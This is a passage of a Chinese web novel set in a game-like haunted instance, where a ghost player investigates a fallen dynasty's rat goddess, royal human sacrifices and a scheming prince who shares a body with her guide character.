鱼宣放心了。
她把提灯和剑收起,绕到供桌前。
除了常规的贡果外,还有些格外特殊的贡品。
花生和粟米。
如果不是牌匾明晃晃四个大字“社稷平安”,鱼宣都怀疑这里供奉的是位司子嗣的神。
女鬼视线再一次扫过两碟不同寻常的贡品时,脑子里闪过陪葬棺里那颗硕大的鼠首。
还有刚刚到手的粮仓提灯。
硕鼠。
黍。
鱼宣再抬眼重新观察神女像。
纷飞纠缠的绸带中,有一条十分不合群的纤细长尾。
女鬼扬眉。
神女原身是鼠。
或者说,姜武王认为神女是鼠。
但是姜武王到姜庄王经历四代君王,有一百多年的时间,鼠疫的事怪罪到神女身上有点太牵强了。
比起神女,姜王朝才更像是依附在人家身上窃食的老鼠。
这也说明,姜王朝的灭亡是天灾祸世命数已尽,神仙难救。
鱼宣摸着下巴琢磨。
如果神女还在,今日能见到当然最好。
见不到也正常。
如果换做是她,多看一眼姜王室的人都烦。
齐览就更直接。
他见鱼宣把这里摸索得差不多了,等她退到供桌外,伸手把人带到自己身后。
青年声线稳而冷:“不知神女有何指示?”
童子把他们领进来的时候说的可是“神女有令”,他问一句不为过。
片刻后,从神像的方位传来一声叹息。
“大厦将倾。”
简明扼要。
鱼宣已经确认过神像没有通灵的作用,听见有回应,诧异地望过去。
很快从神像后传来细微的声响,一个农女装扮的姑娘慢慢走出。
她身上衣料并非粗布,却也看不出好坏,色泽灰扑扑,低调得过头。长发乌黑与常人无异,简单地用布条扎了个麻花辫。
唯一不同的地方在于,她有一双碧蓝的眼睛。
见一人一鬼都愣愣看着自己不说话,她又耐着性子重复:“我说,大厦将倾。”
姜王室的人都耳朵不好使吗?
鱼宣从齐览身后挪出来,问:“您是神女吗?”
“神女?”她弯着眼笑,“看来姜王出意外了,没来得及跟你们交代。”
“我叫白社君,受武王所托护佑姜国,至今已一百三十一年。”
鱼宣莫名从白社君身上感受到一种熬到头了的轻松。
女鬼又问:“您想出去吗?”
白社君倚在神像旁,极尽华贵与简朴的反差。
她怜爱地看着鱼宣:“我很快就能出去了。”
鱼宣知道她说的是什么。
姜王朝就要覆灭了,白社君的使命也即将完成,当然可以离开。
那东明殿的两口棺材和鼠首人尸又是怎么回事?
还有刚才岸上的凶险。
实在不像一个担负护佑职责的神女所为。
鱼宣这边在困惑,白社君也很不解。
按理说她都说出“大厦将倾”这么明显的话了,这俩却一点也不知道着急。
一个看起来脑袋瓜在思考,但不像是在考虑跑路或者补救。另一个跟背后灵似的死盯着人家不放。
如果她没记错,他们是母子关系吧。
青年察觉到白社君在他们之间打转的目光,终于分神去看一眼。
他总算给出一点白社君预料之中的反应。
“还请神女指路。”
白社君笑眯眯:“弃城迁都。”
换了别人可能觉得荒谬,但鱼宣和齐览知道她说的是对的。
毕竟最后沦为死城的,也不过一个王都而已。
可是,“来得及吗?”
鱼宣直直望进白社君眼里。
如果鼠疫已经悄无声息地开始了,除非放弃王都百姓轻身上路,否则只会死更多人。
白社君并不因鱼宣的质疑而恼怒。
她笑意不减:“办法就是这么个办法,我只是护佑,又不是当军师宰相的,凡事还得你们自行考量。”
这下鱼宣确定了,东明殿的事不能问白社君。
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这位神女司职明确,绝不加班。
白社君这一趟出来仿佛就是为了说这么几句。
她摆摆手:“该告诉你们的我都没藏私,你们走吧,我得回去歇息了。”
也没等他们回应,白社君就很干脆地消失了。
鱼宣视线无意间扫过供桌。
那一碟子花生也没了踪影。
空气里飘来白社君拖着语调的告辞:“二位慢走。”
鱼宣本来还想打听一下河灯的事,至少这也算白社君的管辖范围。
没想到她下线得如此果断。
女鬼转头,把主意打到了门外的童子身上。
齐览眼睁睁看着她掉头跨过门槛与童子面对面站着。
女鬼用哄小孩一样的语气问道:“小仙童,告诉我,河面的花灯祈愿是不是归神女管?”
童子后退一步,后脑勺磕上门框。
可怜的地图NPC老老实实回答:“……不是。”
又补充:“神女让我送客。”
鱼宣没多纠缠。
一人一鬼回到岸边的时候,街市零落空寂,俨然夜半。
鱼宣打开面板看一眼。
丑时三刻。
这个时间回秦府,尽管守夜的人不会没有,但是秦太傅的心态可能会出现一些动荡。
鱼宣默默引金线把手帕加工成面纱。
看得出来秦津做过准备,来接应他们的人舌头很老实,只管领路。
鱼宣和齐览换回宫装。
秦津在假山处等着。
他们走近后,秦津的目光在鱼宣眉心处短暂停留。
鱼宣捕捉到对方脸上一闪而过的错愕。
有点不妙。
这花钿不会是继妃专属吧?
带着十二分的心虚,女鬼正想借齐览挡一挡对方的视线。
但是转念一想,秦津又不敢拆穿她。
光是府邸里有直通王宫的地道这件事,就够秦津拖家带口死八百回了。
而且他的外孙公子穆,现在跟自己同一战线。
于是鱼宣又支楞起来。
秦津神色几经变换,最终还是一言不发。
女鬼想了想,把白鹤河灯摸出来。
“太傅,烦请寻觅能工巧匠,看看是否能修复。”
宫里人多眼杂,一旦带进去就等于放它在面板里吃灰。
但是河灯出事的后果鱼宣也看到了,现在只能亡羊补牢。
不然NPC也太可怜了。
夜色已深,秦津也没注意鱼宣是从哪里掏出来一个皱巴的纸糊糊,但多年来的礼仪尊卑让他不假思索地躬身接过。
齐览静静看着,然后被鱼宣扯着衣角进了地道。
这么长一条路,女鬼总算有空复盘。
其他的事都差不多能有头绪。
只是,“河灯祈愿会害人性命这种事,为什么从没有传闻呢?”
那可是众目睽睽之下血溅三尺,断头而死。
如果早有传闻,怎么还有那么多人参与所谓的灯花宴?
齐览垂眼:“因为信仰。”
信仰使人盲目。
尤其是对神女的信仰还充斥传奇和历史的色彩。
谁也不会有胆量质疑一位本王朝功绩卓著的君王,连带着他极力推崇的神同样不容置喙。
至于祈愿致死,大概也能粉饰太平成神女显灵。
反而会引起更狂热的追捧。
鱼宣顿住。
或许。
姜王朝早有血祭活人的先例。
28. 第 28 章
鱼宣反手抓住齐览的袖子。
“你读的史书里,姜王朝有没有活人祭祀的记载?”
“有,”青年顺着她的力道转过来,“姜王朝的人牲,自王室始,姜武王一母同胞的长姐曾被用于祭祀,后来逐渐流传到民间。”
鱼宣:?
这还是人话吗?
“用王姬做人牲?”
“是,不过仅此一次,”齐览脸色也不太好,“姜武王登基后,就严令禁止此事。但是由于神女的传说深入人心,百姓中相信活祭能让神明显灵这个说法的不在少数,自发在建设神庙时打生桩。”
鱼宣从这一段话中抽丝剥茧:“神女在姜武王没登基时就出现了?”
齐览点头:“王姬活祭次年同月同日,神女现世,选中当时还是公子辛的姜武王辅佐。”
鱼宣:……
虽然能理顺逻辑,知道这种说法对于君王的统治有利。
但是流传到民间,肯定会有脑回路清奇的人尝试复刻吧!
一母同胞的姐弟这个设定保不齐也会照抄。
女鬼感觉完全说不通:“活祭求来的居然真的是神女不是怨灵吗?”
齐览纠正:“不是神女,也不是怨灵。”
是鼠类精怪。
鱼宣努力理性思考。
更大的可能是,同月同日说不定夸张了,是误传。活祭完全是一场白给,求个心理安慰,但是白社君很巧合地来做慈善。
……完全无法理性。
人牲活祭的过程放在谁身上都是生不如死的酷刑。
齐览见女鬼眼睛红得要冒火,聊胜于无地安抚她:“冥冥中有因果,姜王朝民间活祭的盛行拖垮了国祚,才会在国力尚且强盛时不攻自破。”
鱼宣稍微有一点被安慰到,但还是很激愤。
因果报应要及时且足够才有爽感。
两点中无论哪一点没到位,都会让人很不爽。
鱼宣现在就是这种心情。
“当前进度:23%(剧情探索达到60%将解锁支线)”
进度涨,就说明她的推测是对的。
更不爽了。
“活祭的王姬是谁?”
齐览认真回想了好一会儿,才十分确定地回答:“史书没有记载,活祭之事出自一册杂谈,并非正统史料。”
没有记载。
一个王姬的姓名或封号在浩如烟海的史书中不留半点笔墨,除了人为不做他想。
这意味着她极有可能没有自己的牌位和香火供奉。
根据世界观资料,身陨后魂无归处者,为野鬼。
寻常野鬼也就算了,无非是无知无觉地游荡。
偏偏这位王姬蒙冤受屈而死。
这种身份在灵异本里面没点后续才是不合理。
可是目前来说王姬这条线与副本现有线索的关联度并不高。
那一点的进度涨在推测出白社君来由的可能性更大。
鱼宣按了按太阳穴,觉得自己为了这趟内测快把脑仁都挖出来了。
等他们从陪葬棺底下爬出来,已经过了寅时。
女鬼虎视眈眈地盯了主棺好一会儿,才不舍地走出主墓室。
鱼宣困了,暂时不想横生枝节。
撬棺材的事之后再说吧。
女鬼打着哈欠路过放置奏章的架子,一头撞上齐览搭在凸出拐角处的手。
青年温和地询问:“母妃,今夜宿在东明殿吗?”
鱼宣理智尚存地摇摇头。
有个秦津误会就够了。
王宫尽管是他们的主场,但表面功夫还得做做。
留宿这种事太挑战时代的底线了。
电量不足的女鬼脑子里好一阵跑火车,才后知后觉。
齐览刚刚,叫她什么?
鱼宣转过头,青年嘴角噙着笑看她。
不知道为什么,明明是同一张脸,鱼宣偏偏从此刻的NPC脸上看出一股聪明劲儿。
“……公子穆?”
之前的新角色介绍提过他。
鱼宣思来想去只有这个可能。
尽管姜王朝早已灭亡,眼前的公子穆大概率不是活人,但鱼宣并不怕他发难。
毕竟她现在也是正宗的女鬼。
公子穆又问:“更深露重,母妃还要回去吗?”
看得出来,他对这个问题格外执着。
鱼宣当然不能如他的意。
一是宫妃留宿东明殿本就不妥,二是公子穆一看就憋着坏。
女鬼扯出一个笑:“这于礼不合,左右不过一段路,不耽误。”
公子穆没有因为鱼宣的拒绝而恼怒。
他轻描淡写地提醒:“母妃一个人走了,不管与您一同前来的那位吗?”
他指的是齐览。
鱼宣:……
又来了,熟悉的捞NPC环节。
女鬼袖中金线蠢蠢欲动:“他在哪?”
公子穆笑眯眯地指了指自己:“就在这里啊。”
鱼宣想,也许这就是没有系统提示的原因。
齐览没有被调包到什么奇奇怪怪的地方,只是身体暂时变成了二居室。
这就好办了。
跟谜语人属性的NPC聊天是很累的,鱼宣现在的精力不足以支撑她对阵浑身心眼子的公子穆。
为了防止他作妖,最好的办法是限制他的行动。
公子穆的脸色僵住。
他的手脚都被金线紧紧捆缚,一张口想要说什么,却被趁虚而入,连齿间都被金线塞满。
鱼宣叹气,抬手掐住他的下巴。
“我问,你答。”
公子穆瞪着眼看她。
他嘴都被堵住了,怎么答?
女鬼似笑非笑:“你不是不乐意好好说话吗?”
“我问是不是,你动动脑袋就行了。”
对付脑子灵光的人,不能给他多余的发挥空间。
公子穆别无选择,很识时务地点点头。
“这具身体是不是你的?”
鱼宣其实早有怀疑,如果身体是齐览的,最开始时公子穆还没出来,就不可能出现角色介绍。
但这张脸又确实是齐览的模样。
公子穆点头,肯定了她的猜想。
鱼宣还是不太愿意相信自己的引路NPC是个大众脸:“你原本长这样吗?”
公子穆犹豫,但碍于无法开口,只能摇头。
不是就好。
更深层的原因之后再调查也不迟。
“东明殿地宫是你的手笔吗?”
这个问题鱼宣老早就想问了,苦于无人解答。
这下正主来了,总算能深挖一下内情。
公子穆点头。
“姜庄王是你杀的?”
摇
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头。
也是。
公子穆是姜庄王长子,名正言顺的下一任姜王,没必要多此一举。
而且齐览也说了,公子穆才班师回朝,东明殿都是整理出来没多久,他还没那么长的手伸到王宫里杀人。
鱼宣本来还想问问公子穆等人是否真的死于鼠疫,但转念一想还是放弃。
在世界观资料里,问鬼的死因是个大忌讳,效果跟踩猫尾巴差不多。
她现在可还在地宫里,万一公子穆有什么底牌,被逼急了咬人怎么办?
鱼宣看一眼情绪还算稳定的公子穆,稍微松了松他口中的金线。
金线下垂,在他脖颈处勒紧。
女鬼眸光冷冷:“花灯祈愿与水下神女庙的事,你知道多少?”
公子穆费力地开口:“祈愿是灵王时祭司的提议,神女庙则是由武王下令建造。”
突如其来的信息断层使鱼宣产生了更多的疑问。
灵王是哪一代姜王?祭司又是从哪里冒出来的?
见鱼宣神色犹疑,被金线勒得换气都困难的公子穆连忙保证:“穆所言句句属实。”
这种常识性问题如果问出来感觉会很压气势。
鱼宣只能侧面发问:“如今的祭司是谁?”
“没有了,”公子穆苦笑,“武王废除了祭司一职。”
“那原本那位祭司呢?”
公子穆似乎想叹气,但被勒着脖颈叹不出来,只能干巴巴道:“武王大肆灭杀神职,销毁典籍前,祭司已经不知所踪。”
这样听起来,灵王似乎就是武王的父亲,也就是活祭王姬那位。
这么串起来,祭司在其中充当了什么角色就不难猜了。
把人家一母同胞的姐姐害得惨死,武王不赶尽杀绝才怪。
这么看来武王简直就是歹竹出好笋。
鱼宣从公子穆脸上看出明显的遗憾。
她脑子里浮现一个猜想。
“你想恢复祭司一职?”
公子穆说到这个就没精打采:“先有祭司才有职位。”
祭司都避世一百多年了,他还能从哪座山头把人挖出来不成?
鱼宣接着问:“你有姊妹吗?”
公子穆更失落了:“父王膝下至今只有三子,不曾有王姬降生。”
这小子。
就算顶着齐览的脸也让人觉得他欠教训。
歹竹出好笋,还是好不过几代。
幸亏姜王朝覆灭于姜庄王,否则公子穆上位后必然重现灵王的事迹。
鱼宣对公子穆的耐心告罄,面无表情地赶人:“你可以滚了,让他出来。”
她准备找齐览盘一盘姜灵王的历史。
公子穆欲言又止。
依赖于他出众的察言观色技能,他能轻易发现面前人对自己的态度不耐且烦躁。
如果他实话实说,只会是火上浇油。
虽然鱼宣要顾及齐览,目前还不会杀了他,但从自己金线缠身的现状来看,折磨人这种慢工细活对女鬼来说也就是顺手的事。
可如果隐瞒实情,万一被发现照样是万劫不复。
公子穆暂且无法判断鱼宣还有什么神通,谨慎起见,他决定闭上嘴当哑巴。
鱼宣从NPC的沉默中品出一丝不祥。
女鬼不可置信:“他出不来?”
百科全书被禁用,她这局盲狙吗?
29. 第 29 章
公子穆也很难受:“孤早该出来了。”
这本来就是他的身体。
谁知道这俩去外面逛到这么晚。
鱼宣冷冷看他。
公子穆老老实实地把实话倒出来:“每日夜间四个时辰,他会被强制休眠。”
女鬼不买账:“你自己看看现在都什么时候了?”
公子穆见瞒不住,只好不情不愿地补充:“……要在王宫中。”
鱼宣皱眉:“一定要满四个时辰吗?”
那齐览醒过来都快午时了。
公子穆肯定道:“就算孤主动让,这段时间里身体也只会是空壳。”
鱼宣难以理解。
防沉迷这种机制为什么会被安排到NPC身上啊?
她试探:“如果今夜我们不回宫呢?”
“你大可以试试,”公子穆反倒笑了,“孤不要这身体,他也活不了。”
鱼宣往他脑袋上盖了一巴掌。
女鬼阴森森地开口:“慎言养德。”
公子穆敢怒不敢言,只留一双眼睛里隐晦藏着不满。
鱼宣从公子穆身上把信息扒得差不多,看他安安分分,稍微松了松缠着脖颈的金线就不再管他。
她环顾四周,大概知道NPC被强制下线的原因了。
按理说如此庞杂的书简,应该是副本线索的重要来源。
但是鱼宣有齐览,几乎相当于有了一个行走的搜索引擎,这个场景就派不上用场。
女鬼抬眼,夜明珠微弱的光仅在黑暗中争得一丝喘息。
这实在不是个看书的好地方。
就算鱼宣现在完全能在昏暗环境下视物,也不太习惯摸黑阅读。
不过,放在这里的奏章肯定也不是什么能见人的东西,公子穆不会在外面写好了再拿进来。
女鬼绕过横横竖竖的木架,果然在层层遮挡后找到一方长桌。
还有烛台。
但她没有看到可能用于点火的物品。
鱼宣指间金线闪烁,把公子穆牵引过来。
“点灯。”
随着女鬼话音落下,公子穆明显感觉到金线的束缚放松到给予他一定行动能力的程度。
人在屋檐下,不得不低头。
公子穆温顺地上前,从木架后拉出一层抽屉。
“物品:打火石——请置于干燥环境保存。”
鱼宣看公子穆动作生疏地点火,目光却没有落到实处。
她想:齐览的灵火就很好用,想学。
暖色的烛光亮起,在几颗夜明珠上过了一圈,室内顿时灯火通明。
齐览说,这里共有一千六百四十一卷。
那肯定不会是一个一个数过去的,应该有编号一类可供辨认的标记在上面。
正主就在这,想要什么还不是一句话的事?
鱼宣视线从公子穆的手移到他脸上。
现在这张脸与齐览只有三分相像了。
才直起身的公子穆对女鬼的注视格外敏感,草木皆兵。
鱼宣到长桌前坐下,把桌面上的铜镇纸摆正,开始从公子穆嘴里撬线索。
既然这都是出自公子穆的手笔,那么本人在这里,不问白不问。
“你在奏章里写了些什么?”
公子穆对她的发问采取了敷衍的态度,并抛出一段文学常识:“奏章奏章,奏弹劾,章谢恩,不是显而易见吗?”
没有营养的废料信息。
看来是没触发关键词。
鱼宣没有过多在意来自研究院的隔空嘲讽,顺着话头往下接:“那这些应该交给姜王,而不是自留收藏。”
“因为不是写给父王的,”公子穆嘴角的弧度彻底拉平,一张俊秀的脸森然又阴郁,“也没必要让父王过目。”
鱼宣对这位“温良恭俭”的殿下的离经叛道又有了新的认知。
奏章不写给姜王,还能写给谁?
就算公子穆敢写,对方敢要吗?
公子穆没有跟她卖关子的想法,很干脆地交代:“孤是向神女请奏。”
鱼宣:……
往好处想,这孩子心眼坏得很,脑子笨点大家都放心。
“那为什么不送去神女庙?”
这个问题戳到了公子穆的痛处。
他完全放弃表情管理,垮着一张脸道:“神女庙不是随便什么人都能进的,历代姜王也只有在登基大典当晚有幸面见神女。”
“是吗?”女鬼歪歪脑袋,“可是我和你才从神女庙出来。”
“你不一样,”公子穆顿了顿,又强调,“那不是我。”
她不一样?
何以见得?
新的问题又冒出,不过鱼宣已经学会对一切谜语一样的信息都持观望态度。
她果断切话题:“既然如此,你向神女弹劾谁?又谢什么恩呢?”
“弹劾我父王,”公子穆语出惊人,“谢神女延续国祚之恩。”
鱼宣波澜不惊地点头:“很好,那就把这部分奏章挑出来给我看看。”
教导公子穆是姜庄王的分内工作,等他们在地底重聚再说,她一个玩家只管从NPC身上薅信息就是了。
事实证明,就算是正主,面对如此庞大的库存也很苦手。
在NPC忙上忙下的时候,鱼宣抽出金线做手工。
在桃源镇得到的《针织刺绣——从入门到精通》放在面板里吃了好久的灰。
金线千变万化,她就会拿来绑人也太暴殄天物了。
公子穆忙活了小半个时辰,最终摆到桌上的奏章不过二十一份。
鱼宣其实想问问,剩下的一千六百二十卷是不是他的碎碎念日记。
但正事要紧。
奏章的编号就在能一眼看到的地方,被很有心地按顺序摆放。
鱼宣从最早的一份开始看,才想起来自己看不懂。
公子穆干完活又被绑得严严实实,立在一旁如一个人形摆件。
他提醒:“拿反了。”
鱼宣把奏章翻过来。
虽然收走了齐览,但面板还在。
一整页圆润的笔画里,来自系统的友情标红和翻译格外显眼。
“去岁大寒,民生凋敝,父王不察不问……”
“……税征愈厉,不乏投路而死者。”
“……信宠小人,自蔽视听,寒忠谏之心也。”
“边境欲反,贼子来犯,连失十二城……”
“……朝中无人,惟孤敢往。”
这是奏的内容,看得出来是激愤之作。
而章就更倾向于与神交流请愿,要简短得多。
“神女佑我大姜,国祚永延。”
“武王天
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命,孤可一试乎?”
“献牲十二,祈大捷。”
“王血祭旗,神必据我。”
看起来也不像谢恩,倒像是贪得无厌。
这里的奏章显然都是公子穆离开王都之前所写。
祭旗要在两军阵前,当然不可能是用在地宫里安详地尸首分离的姜庄王。
鱼宣回头问:“祭旗,是用什么?”
公子穆幽幽开口:“父王有三子,孤的两个弟弟不成器,在国家危亡的时候总该派上用场。”
“当前进度:24%(剧情探索达到60%将解锁支线)”
鱼宣这下总算知道“姜王朝的人牲,自王室始”的含金量了。
这大概也间接保护了姜王朝的百姓和奴隶。
有了献祭王姬求得神女降世的先例在前,真到了有所求的时候,人是不敢找平替的。
不过死的无论是贵族、平民还是奴隶,都是一场惨剧。
人命,不该这么荒诞和血淋淋。
鱼宣看一眼时间,估摸着再过一会儿天就蒙蒙亮。
她抓住公子穆的痛点精准打击:“你这样锲而不舍地写,有得到过神女的回复吗?”
公子穆不说话了。
鱼宣也懒得与他多费口舌,起身走出地宫。
这个时候,晚是晚了点,但要找借口还是很容易的。
女鬼把宴定唤进来,手撑着脑袋就开演:“王上病重,公子穆甚哀切,本宫与之相对垂泪至天明,今夜未眠。”
宴定上前,一边拆鱼宣的发髻,一边应声:“是。”
把事情交代了,鱼宣眼皮都快耷拉下来,挥挥手让人退下,就回寝殿扑到被子里睡大觉。
她是被瑕介叫醒的。
“娘娘,群臣请公子穆代理朝政。”
想必宴定与瑕介互通消息了,是以鱼宣乱糟糟的状态并没有使女官露出诧异的神色。
女鬼迷迷糊糊爬起来,发现自己才休息了不到三个时辰。
鱼宣:毁灭吧。
“让他们请公子穆就是了,本宫能做他的主吗?”
瑕介把人扶到镜子前,给她顺头发。
听着女鬼的嘟嘟囔囔,女官抬眼与镜中的鱼宣对上视线。
瑕介神色稀松平常,语气却格外坚定。
“能的,娘娘。”
鱼宣:哇塞。
看来继妃揽权已经不是小有所成的程度了。
“那明日吧,今日他怕是没那个心力,最多等会儿让他处理处理文书。”
可不敢让公子穆本尊接触这些。
这小子脑筋十八弯,谁知道他能整出什么幺蛾子。
劳心劳力的事还是交给靠谱的引路NPC吧。
女鬼想了想,又说:“本宫也去听听。”
瑕介:“娘娘想添座在王侧,还是隔帘后?”
鱼宣本来以为垂帘听政就很极限了,没想到居然还能自己加个VIP席位。
她冷静道:“能听清就够了。”
众矢之的的操作绝对不能往自己身上揽。
物似主人,几代姜王都折腾出乱七八糟的事,这些大臣的脑子指定也多少有点问题。
女官为鱼宣梳妆的手无意间擦过她颈后的皮肤。
带着厚重的冰冷。
梨树开花的季节,分明气候回温。
30. 第 30 章
妆成,瑕介退到一旁。
鱼宣不动声色地抬手抚过发鬓。
“昨日本宫要的铜面呢?”
瑕介恭谨答道:“已经收在中安宫了。”
鱼宣算了算跑一趟来回的时间,估摸着那时齐览也醒了。
于是她起身:“走吧。”
瑕介默默跟上。
鱼宣跨过门槛,瞥见门侧空荡荡,不由得纳闷:“宴定呢?”
“回娘娘,宴定协理朝会未归。”
……协理什么?
鱼宣面上不显,余光却悄然落在身侧半步外的瑕介身上。
继妃身边的女官,竟然能越到前朝去统筹百官朝会。
结合之前宴定无视公子穆的表现来看,恐怕继妃夺权已经摆到明面上来了。
怪不得要来问她让不让公子穆上朝。
那公子穆说她“不一样”,就很耐人寻味了。
他一开始就知道鱼宣不是原来的继妃,也知道自己身体里另一个人的存在。
公子穆会是这个副本的锚点吗?
鱼宣抬头,挂着朱砂牌的梨树又闯进她的视野。
朱砂避邪,这她是知道的。
王宫是天子所在,龙气所聚,有什么邪需要避?
“这朱砂牌挂了多久?”
瑕介:“已有五年。”
如果按时间推算,应该是公子穆出征前三年。
他翻出来的二十一卷奏章里,并没有这一段节点。
谴责姜庄王的奏大多在这个节点之前,向神祈愿的章则大多临近出征。
这么一大段的空白,公子穆不可能会消停。
鱼宣直觉他藏了事。
女鬼默默反省:不是每个NPC都是齐览那么好招揽又肯干活的,这就是撒手不管的下场。
发现及时,问题不大。
想必瑕介提前吩咐下去过,鱼宣才进中安宫,就有宫人捧着匣子到面前。
只看光泽就知道质感上乘的绸缎中,安放着暗金色的鼠首面具。
鱼宣盯着面具空洞洞的眼眶看了一会儿,伸手拿起。
面具触感冰凉得有些熟悉。
真正佩戴到脸上的时候,又全无金属质地导致的异物感。
隔着面具,鱼宣看见了这座宫殿无人问津不知第几个百年后的模样。
红漆剥落,木栏腐朽。
身前的宫人俨然成了一尊等身仕女像。
鱼宣转头,端庄静美的女官站着的地方立着一只铜联禁大壶。
森森然的锈青色,与人的身量不差多少。
这种铜壶作为酒器,一般是成对的。
看来宴定的本体也一样。
酒以成礼,定位是司礼官的话,主持朝会也就不奇怪了。
“当前进度:26%(剧情探索达到60%将解锁支线)”
思路正确,可以开始下一步了。
鱼宣一边观察铜壶,一边试探着唤道:“瑕介?”
没有回应。
铜器是不会说话的。
到此,鱼宣心中对这个特殊副本的本质已经有了猜测。
但当务之急,是回地宫找到公子穆隐藏的那部分奏章。
也从齐览口中深挖一下这个时间段的历史。
她没摘面具,循着记忆中的方位朝东明殿走去。
地图的结构没有改变,鱼宣从一些细节处可以大致辨认自己身处什么地方。
但毕竟这里的本体是一个大型陵寝。整座王宫,甚至王都,都在其中。
鱼宣想起进入副本时听到的铁锹声。
地宫,棺椁。还有铜器陪葬品。
暗示得这么明显,如果不是公子穆摆她一道,推本难度几近于无。
陵寝与王宫最显著的差别,就在于生机。
比如梨树,变成了梨木雕的景观摆件。
不知道用了什么办法,木雕经年不朽。
那朱砂呢?
鱼宣在四周看了看,并没有发现与之对应的物品,只好继续赶路。
好消息是地宫没有位移,老老实实待在原地。
坏消息是,机关门垢住了,现在处于卡死的状态。
但既然都到表世界了,鱼宣不用维持身份设定,暴力拆迁也无所谓。
虽然她目前只会一昧地平A,但胜在灵力充沛。
女鬼很顺利地把入口轰开。
这处地宫与里世界一模一样。
无论是最外层的兵器,中间的摆满书简的木架,还是主墓室一大一小两个棺椁。
当然,还有杵在木桌旁金线缠身的公子穆。
鱼宣笑眯眯:“别来无恙,大公子。”
公子穆对她的到来并不意外。
他相当友好地跟女鬼打招呼:“怎么称呼您?”
鱼宣吃一堑长一智,不打算再把自己的名字透露给NPC。
但目前这个节点显然是无法跳过的。
因为系统弹出了提示窗口。
“请玩家在【绣娘】、【神女】和【灵异】中选择合适的身份告知NPC。”
“注意:本次选择将对副本通关产生不可逆影响。”
鱼宣看到这个窗口的第一反应是存档读档一条龙。
很可惜,这两个功能早就不翼而飞。
女鬼视线扫过三个选项,又重新把注意力放到面前看似人畜无害的青年身上。
公子穆肖似齐览,真是他耍心机的一大优势。
长着这么一张正直又漂亮的脸,史书会不吝笔墨赞誉,野史更是极尽风流之能事编造他的韵事。
谁能想到他是个迷信祭神以至于不惜屠杀手足的小疯子呢?
在了解了这个NPC的精神内核之后,选择【神女】是最妥当的选择。
次之是【灵异】,未知的力量也能让这位来自旧朝的王室子弟产生点敬畏之心。
而【绣娘】这样平平无奇中带着朴素的身份,在公子穆眼中或许没有任何值得关注的地方。
鱼宣深思熟虑,最终张开右手。
女鬼五指间缠绕缕缕金线游动。
同根同源的灵力牵动公子穆身上的束缚。
鱼宣看着因长久捆绑而身体僵硬难掩狼狈的公子穆,相当恶劣地扬起一个弧度很大的笑。
她说:“如你所见,我是个绣娘。”
那又如何?
公子穆又不是个单线程思考的呆子。
在鱼宣暴力破门、实力压制的前提下,就算她说自己是只老鼠,公子穆也会自觉脑补的。
而【神女】这个身份,看似是最优解,实则最有可能触发死局。
在这个地宫里,这一千六百四十一卷奏章中,公子穆倾注心血与渴望的文字,从来没有被他的神女回应过。
一个同样顶着神女头衔的玩家贸然认下这份疯魔的亏欠,后果就算是小黑屋也不意外。
而灵异,对于姜王朝来说还是个陌生的名词,属于无关选
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项。
相比之下,绣娘就是个可进可退的身份,留给公子穆的想象空间很大。
公子穆确实怔愣了一下,不过拜他的“不世之才”所赐,这位狂信徒很快完成了逻辑自洽。
他欣喜若狂:“是织女!织女上仙!”
鱼宣不清楚NPC曲折的脑回路,但他说是就是吧。
她没有反驳,只静静看着公子穆独自开朗。
等他还剩一点兴奋后劲的时候,鱼宣问:“齐览呢?”
“齐览…?是说伴神使吗?”公子穆有些恍惚,“他还在里面。”
鱼宣没有纠结伴神使的说法,揪住关键信息捋了捋逻辑。
公子穆在这里,齐览就在王宫。
那么齐览昏迷的四个时辰里,估计已经把表世界陵寝逛遍了。
她没有浪费时间的必要了。
女鬼抬手摘下面具。
她动作太自然流畅,视野里的最后一刻,公子穆面上的喜色还没有来得及完全褪去。
眼前场景顷刻变换。
既不是地宫,也不是中安宫。
鱼宣茫然:这是切哪儿来了?
“鱼宣。”
女鬼眨眨眼,才反应过来自己现在正躺着。
很熟悉,是东明殿的寝殿。
鱼宣坐起身,看向不远处端端正正坐在桌旁的青年道长。
绯色稠衫还崭新。
这次从头到脚都是齐览。
女鬼笑嘻嘻:“齐大人,小别胜新婚,要与我互诉衷肠吗?”
青年不语,目光凝在她身上。
鱼宣眼睁睁看着齐览的眼眶以肉眼可见的速度红了起来。
鱼宣:!
红眼特效也要轮到引路NPC了吗?
被防沉迷整破防了?
女鬼回想起NPC开大的威力,以他目前的身体状况,大概也就伤她一百自损八千吧。
玩家目前为止最大的危机就是来自引路NPC的作死。
鱼宣随时准备把人按住,但等了一会儿也没下文,只好尝试脱离卡点:“齐大人?”
齐览也只是红眼眶的程度而已,不妨碍他给出反应。
青年闷闷地“嗯”了一声。
能答话就行。
鱼宣开始挑重点问:“我是怎么来东明殿的?”
反正不可能是齐览醒了以后去中安宫把她带来的。
瑕介第一个不允许。
女鬼赶进度的意图太明显,齐览幽怨地看着她:“继妃得知公子穆回宫,特意来东明殿探望。”
继妃。
有公子穆在前,鱼宣不必问,就知道这段时间自己所占据身份的主人也上线了。
齐览被强制休眠的前提是入夜和王宫,继妃上线的条件却并不明晰,目前看来只能由玩家主动切号。
鱼宣怀疑这也与实力差距有关。
一力降十会,是一切暴力通关的底层逻辑。
鱼宣下床,边往地宫走边问:“公子穆离京前三年间,发生过什么?”
由于齐览最近卡顿得比较频繁,跟宠挂件状态时灵时不灵,鱼宣就顺手把人拉上。
齐览被她的力道牵引,尽职尽责地履行百科全书的义务。
“官员敛税,怨声载道。继妃因平民出身饱受争议,谣言愈演愈烈,民间逐渐流传其为精怪妖邪,身负亡国祸世的命格。”
“在连续两年大旱后,公子穆领百官上奏,请赐死继妃,以定山河。”
31. 第 31 章
无能的统治者最喜欢在可怜人身上找借口。
而公子穆对姜王朝死忠。
当植株生病时,首先怀着侥幸去修剪它的枝叶,一步步除去多余的、不多余的,不重要的、重要的,最后无可奈何地意识到它从根系上就病入膏肓。
就算知道是节点设置的原因,鱼宣还是忍不住埋怨道:“这么关键的信息居然才告诉我。”
齐览沉默。
他也不知道自己为什么无法全盘托出,明明姜王朝的整段历史他都熟记于心,但只有鱼宣问的时候才能说出部分。
女鬼没注意青年的低落,摸着下巴琢磨。
齐览想了想,继续道:“不过姜庄王咬死流言为假,罚了继妃和公子穆禁闭一月,便将此事揭过。”
鱼宣点评:“想得真美。”
如果继妃曾被公子穆逼到这地步,就算当时姜庄王没赐死继妃,两人也已经撕破脸皮了。
公子穆不会善罢甘休,继妃更是。
齐览上前开启地宫门。
而鱼宣其实也能理解姜庄王的举动。
平民继妃曾是一段佳话,姜庄王自己挑选的王妃被传成妖邪本身就是在打王室的脸。
